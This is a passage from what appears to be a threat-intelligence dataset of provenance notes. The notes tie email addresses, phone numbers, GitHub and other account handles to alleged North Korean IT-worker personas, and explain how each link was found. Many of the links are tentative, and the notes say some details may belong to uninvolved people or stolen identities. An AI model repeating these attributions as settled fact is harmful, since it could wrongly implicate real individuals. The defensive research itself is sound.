id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/KentaSuzzuki is account id 214406735, created on 1 June 2025. Its noreply addresses name the handles ronansteel and kentasuzzuki, so it is the account browsercookies places under Kim Song Gyu as github.com/ronansteel, renamed; ronansteel now returns not found. Its repositories hold 17 commits signed seadragon000407@gmail.com and 9 signed sealion9847@gmail.com, both addresses the same post gives for the persona; the second is the one github.com/Sea872 signs with.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 1 commit signed oleksiibohatyrenko2@gmail.com, an address browsercookies publishes for this persona, to the login fantasy-3136, which no longer resolves.","The chart ties this identity to Liu Jian Hua through repositories whose initial commits are by YouthDream0925 and whose commit logs reference that account, and gives it a Naver blog and a Hugging Face account under the KingStone name. Transcribed from the researcher's chart, which groups every account under the name it gives here and draws its links from mutual follows, shared contact details and repositories carrying one another's details. The chart also gives Discord handles KingStone0929, bravo0929, for which this site has no extractor. Accounts on platforms this site does not index, as the chart lists them: blog.naver.com/sunnyskai, github.com/GriffindorJava/NakamuraSuzuki, sunnyskai.hashnode.dev/, leetcode.com/u/climaxstar/, huggingface.co/Kingstone0929, stackoverflow.com/users/24170144/climax.","The post identifies the operator previously tracked as NKC04, states that he was in Laos with Naoki and was seen in Vladivostok in February 2024, that he claimed to be Japanese, and that the GitHub account had been deleted by the time of posting.","A given name and a photograph, published by the company that hired the identity. KnowBe4 took on a principal software engineer for its internal IT AI team in July 2024 after four video interviews, positive references, a copy of what appeared to be a government identification card and a clear background check, then shipped a Mac workstation to an address the hire had asked for that appeared nowhere in the application. On 15 July 2024, the evening the machine was received, its endpoint software alerted on attempts to install password-stealing malware and alter session history; the SOC contained the device within twenty-five minutes, and KnowBe4, after sharing what it collected with Mandiant and the FBI, identified the hire as a DPRK IT worker. Its whitepaper states that he called himself Kyle, that the name and identifying details belonged to a real United States citizen and were used without their permission, and that the surname is withheld to protect that person; this entry records only what KnowBe4 published. The identity presented itself as a United States-born citizen of Asian ancestry educated in Hong Kong with prior roles at large United States companies, and KnowBe4 reports that a device running Raspberry Pi OS had been set up on the laptop's local network to reach it as a KVM. A first name on its own settles nothing, and it is recorded because an operator who introduced himself as Kyle to one hiring team will do so to the next.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Bloomington, Illinois, the role it presents as Senior .NET Software Engineer, and the contact details above. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by a LinkedIn profile drawn from the persona's own working files, cited to that date. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Baytown, Texas and the role it presents as Software Engineer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Houston, Texas, the role it presents as Blockchain/Go Software Engineer, and the contact details above. The record is one of two tied to the second report, Dissecting the Identity Lifecycle, and when first read the only detail it carried beyond the contact lines was a personal site on a free Vercel subdomain, which answered on 22 September 2026. The reports describe that hosting as what the operation's own manual recommends for a persona's storefront. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by a number, a LinkedIn profile, a GitHub account and a Telegram account drawn from the persona's own working files, cited to that date. Across the site's records, +19783919978 also appears on the record for Ryan White. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read 24 September 2026. larrylevine312@gmail.com signs two commits on 5 July 2024 in the Michal Jankowski persona's repository Vpn-Valut, merged by that account. The persona's GitHub account LevineLarry has since been deleted.","Read 2026-09-24 by searching GitHub commits for the persona's address. GitHub credits commits signed larrylevine312@gmail.com, the persona's address, to LB-1010, an account created in April 2016 and named only \"Full Stack Engineer\"; it is the account behind the persona's commits in the Michal Jankowski repository. The persona's own LevineLarry account is gone.","Transcribed from the ZEUS-DEV-919 working document, an unsigned compilation published as a Google Doc and linked from a repository on the zeus-dev919 GitHub account. The document describes itself as raw data with no filtering applied and asks a reader to verify every linkage before acting on it, so it is carried here as that compilation's claim and not as a finding of this site. Its persona table pairs each name with the address and Skype identifier the application used. The number is the same one the table gives against two other names, a link the document does not draw itself.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 3 commits signed layton.hart.cool@gmail.com, an address the ZEUS-DEV-919 working document publishes for this persona, to the login Fly-Pig00, which no longer resolves.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry and the ZEUS-DEV-919 working document give for a persona, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/shaman236 is account id 37606416, created on 21 March 2018. Its noreply addresses show it was previously named 0xl2, naruto0913 and abe-sinjiro; 0xl2 is on tayvano's list of IT-worker GitHub accounts, which this index already carries, so this is that account under its current name. It signs 94 of the 100 commits GitHub's search returns for it with abe.sinjiro7@gmail.com, and six more commits in its repositories are signed real_striver@outlook.com; lazarus.group gives both addresses for Leon Lin. Its repositories, test-risk among them, are committed with those identities on the day they are created.","The post states that as of at least August 2024 a DPRK operator was working at ValueNet under this persona, and cites a Bitbucket pull request on the employer's repository as evidence of the work performed.","Read from the account's own LinkedIn activity on 31 August 2026, where it appears twice in comments the account left on other people's posts, each asking to be contacted at that address. It is the account publishing its own contact address in public, not a value any researcher reported. The same profile states ten years of web development experience while LinkedIn's own account history gives its join date as May 2025, and on 31 August 2026 it listed no employment or education entries at all. Re-read on 12 September 2026, the same profile now carries five roles running back to March 2014 -- ThriveCart, the Mautic community, Creuna, Intechnica and Avenis Oy -- a degree from James Cook University in Singapore dated 2009 to 2013, two projects, and an open-to-work banner. An employment history reaching eleven years back, filled in on an account LinkedIn dates to May 2025 and after the account was first recorded as having none, is the observation here; whether the roles are real is not something this site establishes.","The post names the operator as Li Qiang, says the operator has a large number of online personas, and lists six domains under which the operator owns email addresses. The domains are transcribed from the post text, where they appear defanged; they are recorded here refanged, which is the form the rest of this dataset uses. The post also tags another account, which is a credit to a fellow researcher rather than an operator identifier, and is not recorded.","Found on 12 September 2026 by searching the open web for the account handles this site already holds for this operator, and read directly from the page cited. A GitLab account exists under climaxstar, one of the logins attributed to this operator. It states a display name of \"Zenith Taylor\" and a member-since date of 26 November 2024, with no bio, location or links. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under sunnyskai, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 25 March 2026. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- loyaldev -- and asking Docker Hub whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 23 March 2023. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/sunnyskai, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: sunnyskaies@gmail.com authored 9 commits across 2 of its repositories, commits as \"SunnySkai\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","Found on 12 September 2026 by searching the open web for the account handles this site already holds for this operator, and read directly from the page cited. The DEV Community profile youthdream0925 publishes a link to github.com/YouthDream0925, which is the GitHub account the reporting already attributes to this operator, so the two are tied by the page itself rather than by a coincidence of naming. It joined on 8 March 2024, gives the display name \"Dream\" and the biography \"Software Developer & Good Person\", and carries a post about Fabric.js guide lines. A GitLab account under the other login, TomLove223, gives its display name as \"Tom Love\" — a name this operator is already reported under — and a member-since date of 27 December 2022.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- lovetompro -- and asking dev.to whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 1 March 2022 and no display name but the handle itself. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 28 September 2026 from the site's own page and the script bundles it loads. The portfolio, beside the YouthDream0925 GitHub account and address, links a Facebook profile and an Instagram account in its footer.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (youthdream0925) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Two GitHub accounts, an X account, a Telegram handle and a portfolio, with a member page on the Elite Coders team site and a chatkk.com profile. Transcribed from the researcher's chart, which groups every account under the name it gives here and draws its links from mutual follows, shared contact details and repositories carrying one another's details. Accounts on platforms this site does not index, as the chart lists them: elitecoder.vercel.app/assets/images/members/liu-yuan.jpg, chatkk.com/user/liuyuan.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- liuyuan040620 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Liu Yuan. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- tinydota9999 -- and asking Docker Hub whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 16 May 2024 and a display name of Tomac. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Name the researcher publishes for an operator encountered on a video call. The frame carries the watermark of a virtual camera product, which is ordinary third-party software rather than operator infrastructure and is not recorded as an indicator.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under lovelydev829, a login the index already carries for this persona on another platform. The profile gives a member-since date of 11 April 2022. It displays the name Lovely Developer, the same name the reporting already gives. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under lovelydev829, a login the index already carries for this persona on another platform. It gives a joined date of Dec 11, 2024. It displays \"Josue Valdivia\", a display name rather than a person's name. The profile links a GitHub account, LovelyDev829. It gives a location of GARDNERVILLE, NV, USA. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","The post lists alenschmitt415@gmail.com and mitsurukudo213@gmail.com under a heading of 'Unattrib', meaning the researcher did not tie them to this persona. They are recorded on the unattributed entry rather than here.","The post records the LinkedIn profile as already returning 404 at the time of writing.","One of four personas the post presents side by side, each as a single dark card giving a handle, a job title, a photograph and a row of platform links. The post's text carries the accounts; the card carries the title and the face. The researcher's own shorthand names this one differently in the text than the card does, and the card's spelling is what is used here, because that is the name the identity presents. The card gives the title \"Fullstack Developer - Anything - MERN Stack - Freelancer\" and links to Twitter, GitHub and Telegram. The post records that the GitHub account returned a 404 when it was written, so the account is recorded as one that existed rather than one that can be opened.","Confirmed by Chollima Hunter research and rated medium confidence; corroborated by i3 Threat Advisory: email indicator appendix, DTEX Systems. Chollima Hunter research records an applicant presenting as Lucas Lee with the addresses lucaslee0224@gmail.com and magicdev325@gmail.com, a Montreal number on the résumé and a second, Ontario number given as the contact for the work laptop. lucaslee0224@gmail.com is in DTEX's i3 Threat Advisory email-indicator appendix, which this site already indexes, a match Chollima Hunter research also recorded. The research also recorded lucaslee.netlify.app as the applicant's portfolio; read on 3 October 2026, that site belongs to a developer in South Korea under a different full name, with its own address, telephone number and a GitHub account dating from 2018, so it is either borrowed or unrelated and is deliberately not carried here. Neither magicdev325@gmail.com nor the telephone numbers appear in any source this site holds. A separate laptop contact number is the arrangement seen in laptop-farm cases; where the laptop was shipped is not recorded here.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Lehi, Utah, and the contact details above. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by a mailbox drawn from the persona's own working files, cited to that date. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Linked to Li Yin by URL references and by profile pictures that recur across the two identities' photos, and to Michael Liu Liang by mutual follows; the chart holds a Facebook page under Yu Ting Huang and an about.me page under yutinghuang. Transcribed from the researcher's chart, which groups every account under the name it gives here and draws its links from mutual follows, shared contact details and repositories carrying one another's details. Accounts on platforms this site does not index, as the chart lists them: facebook.com/people/Yu-Ting-Huang/61562477559022/, pinterest.com/devprodev777/, stormdev.gumroad.com/, about.me/yutinghuang, flickr.com/photos/203081257@N05/, bsky.app/profile/stormrunner06106.bsky.social.","Found on 12 September 2026 by probing the platforms an operator usually reuses a login on, for the handles this site already holds, and read directly from the page cited. A GitLab account under the login lucaswongc, a member since 19 August 2022, whose display name is Lucas Wong — the name the reporting already gives this operator. No bio, location or links.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry and the ZEUS-DEV-919 working document give for a persona, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/codeprom is account id 101302451, created on 10 March 2022, with 92 public repositories and 152 followers. Its commits carry 101302451+lucaswongc@users.noreply.github.com, so it is the account lazarus.group and tayvano list as github.com/lucaswongc, renamed; that handle now returns not found. It signs 59 of the 100 commits GitHub's search returns for it with wm111898@gmail.com, an address the registry gives for Lucas Wong.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Torrance, California and the role it presents as Senior JavaScript Full Stack Engineer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read 2026-09-24 by searching GitHub commits for the persona's address. GitHub credits commits signed oba24.com@gmail.com, the persona's address, to oba24, created in January 2024.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Finland, and, when first read, nothing else. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by five mailboxes, two numbers and a Skype name drawn from the persona's own working files, cited to that date. One of the mailboxes, manricvilegas@gmail.com, is already in this corpus from The Raven File's DPRK email list, which publishes it with no persona. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read on 13 September 2026 from the two pages cited. The Medium account @smartdev0205 writes under the display name Promise-Is-Law, which is the handle the reporting files this operator under, and the same string is the handle of the Telegram account t.me/smartdev0205 already recorded here. It holds three stories, the earliest dated 5 December 2023 and one of them carried by the Coinmonks publication, and shows 36 followers against 13 accounts followed. Its about page states one website, brent-jeremy.github.io. That hostname is a GitHub Pages user site, which GitHub serves only from the account of the same name, so the profile is publishing github.com/brent-jeremy — an account the reporting already lists under this persona beside brentjeremynel@gmail.com and two LinkedIn accounts in the same name. Both the Pages site and the GitHub account now return 404. Because the account has been deleted the hostname is unclaimed and could be registered by an unrelated party later; what the about page fixes is the account it pointed to when it was written.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under pedrodiaz417, a login the index already carries for this persona on another platform. The profile gives a member-since date of 2 May 2022. It displays \"PedroDiaz417\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 17 September 2026 by asking Hugging Face whether an account exists under smartdev0205, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a display name of SmartDev. The display name is kept here rather than as an alias, because it restates the handle, describes the work, or repeats what this operator is already called. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- donatelo212dunccine -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Dream High. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- ernestpapyan -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states no display name but the handle itself. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- smartdevpro001 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Smart Dev. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Far Rockaway, New York and the role it presents as Senior .NET Full Stack Engineer, and the contact details above. Across the site's records, +13477321116 also appears on the record for Conner Johnson. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Dublin, Ireland and the role it presents as Senior Frontend & Mobile Engineer, and the contact details above. The record adds a LinkedIn profile from the persona's working files. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/marksantiago290 is account id 133281370, created on 11 May 2023, with 100 public repositories. Its noreply addresses name the handles marksantiago02, marksantiago2909, btc415 and its current one, so it is the account browsercookies names as github.com/marksantiago02 under Mark Santiago, renamed; marksantiago02 now returns not found. Its repositories hold 70 commits signed marksantiago0929@gmail.com and 66 signed alenschmitt415@gmail.com, and 42 signed stevenpiao0822@gmail.com, which the same researcher gives for Steven Leal.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 1 commit signed marksantiago0929@gmail.com, an address browsercookies publishes for this persona, to github.com/imthegr8t1, account id 190365500, created on 2 December 2024, with 24 public repositories. GitHub attributes 100 commits signed alenschmitt415@gmail.com, an address browsercookies publishes for this persona, to the login luckymark228312, which no longer resolves.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (marksantiago290, marksantiago02) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","The researcher states these five identities are the same person and says the operator was actively working at several places at the time. The surname is transcribed as McCallla, with three l's, exactly as the post spells it. A screenshot in the thread shows a LinkedIn profile for Rowell Camero placed in Taguig, National Capital Region, Philippines, which is not recorded as an indicator because the post does not give the profile URL in its text.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 25 commits signed magic.front.68@gmail.com, an address browsercookies publishes for this persona, to the login Magic-Front, which no longer resolves. GitHub attributes 1 commit signed greenfashiondev@gmail.com, an address browsercookies publishes for this persona, to github.com/Yugin89, account id 200094463, created on 20 February 2025, with 5 public repositories. GitHub attributes 100 commits signed hdreamdev@gmail.com, an address browsercookies publishes for this persona, to the login BoyWhoCriedWolf, which no longer resolves.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The seller account renders the name as Matt Hew Pender, split across three words; it is carried here as Matthew Pender, with the account's spelling kept as an alias so that form still finds the record. The listing went up on 2 July 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address xurde1003@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 27 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address orozcomatthew692@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved, and in this site's own first-party review of fabricated LinkedIn profiles, which paired it with a LinkedIn account. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 30 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address matt.sanchez801@gmail.com is what tied the listing to this site's index: it appears in a post by Cookie Connoisseur (@browsercookies) on X listing it among one operator's accounts without naming the operator. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Cheswick, Pennsylvania, the role it presents as .NET Software Engineer, and nothing else. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 100 commits signed choi.link227@gmail.com, an address the lazarus.group registry publishes for this persona, to github.com/wpickachu, account id 50459820, created on 9 May 2019, display name It's me!, with 86 public repositories.","Found on 24 September 2026 by reading which account GitHub attributes commits to for the addresses in the identity register Raden Wilford published with his article on this identity (the second post). GitHub credits a commit to the account that has the signing address registered, which only the mailbox's holder can arrange. holypengy@gmail.com, one of the addresses the register lists, is attributed on 220 commits to the login winy-pengy, which no longer resolves; holy.pengy@gmail.com, another address it lists, is attributed on 26 commits to github.com/frankuin, account id 160151424, created on 15 February 2024 with one public repository; and firek7731@gmail.com, which the article gives for its second account, id 39268153, is attributed on 273 commits to the login ahadoodle, which no longer resolves. The commits sit in client projects the identity worked on, among them the Frankencoin and Oracle Free Dollar repositories, which are not carried as indicators.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under may79, a login the index already carries for this persona on another platform. The profile gives a member-since date of 16 August 2021. It displays the name May Lee, the same name the reporting already gives. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under may79, a login the index already carries for this persona on another platform. It gives a joined date of Aug 26, 2021. It displays the name May Lee, the same name the reporting already gives. The profile links a GitHub account, may79. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Hugging Face whether an account exists under may79, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a display name of nena. The display name is kept here rather than as an alias, because it restates the handle, describes the work, or repeats what this operator is already called. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","The researcher says this identity and another were both successfully hired at artificial intelligence companies, with a staffing agent in West Palm Beach, Florida facilitating. The post is not sure of the surname, offering \"a Patrick/Michael Brown\" in its text while the captured call frame reads Patrick New, so all three forms are recorded and none is presented as settled. The staffing agent is not named.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Merrick, New York, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Atlanta, Georgia, the role it presents as Senior .NET Engineer, and the contact details above. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by two mailboxes and a number drawn from the persona's own working files, cited to that date. Across the site's records, +15747668586 also appears on the record for Taylor Scott. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under michael_liang_0208, a login the index already carries for this persona on another platform. It gives a joined date of May 7, 2025. It displays \"Michael Liang\", a display name rather than a person's name. The profile links a GitHub account, phoenixfeather0208. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under phoenixfeather0208, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 20 July 2026. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Hugging Face whether an account exists under phoenixfeather0208, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a display name of Liu Liang. The display name is kept here rather than as an alias, because it restates the handle, describes the work, or repeats what this operator is already called. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 28 September 2026 from the site's own page and the script bundles it loads. The Joseph Jackson portfolio, which gives josephjackson0811@gmail.com as its address, lists a phone number and links a LinkedIn profile, a GitHub account and a Stack Overflow profile, the last two under the name Daniel Jin with the same 0811 suffix.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Warsaw, Poland, the role it presents as Senior Elixir/Go Software Engineer, and the contact details above. The record is one of two tied to the second report, Dissecting the Identity Lifecycle, and the only record in the set naming a GitHub account. The account MichalJankowsk exists, created 6 October 2023 and holding nine public repositories when it was checked on 22 September 2026; the personal site on a free Vercel subdomain answered the same day. Neither was read further here, and the association is the one the alias page makes. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by a number and a Telegram account drawn from the persona's own working files, cited to that date. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read 24 September 2026. The persona's site links github.com/nmdev0217, now deleted, rather than the MichalJankowsk account Hayden McKenzie gives. MichalJankowsk (created 6 October 2023) signs its own commits michal.jankowski003@gmail.com. Its repository Vpn-Valut, created 23 October 2023, carries April and May 2023 merges re-signed with that address over another developer's pull 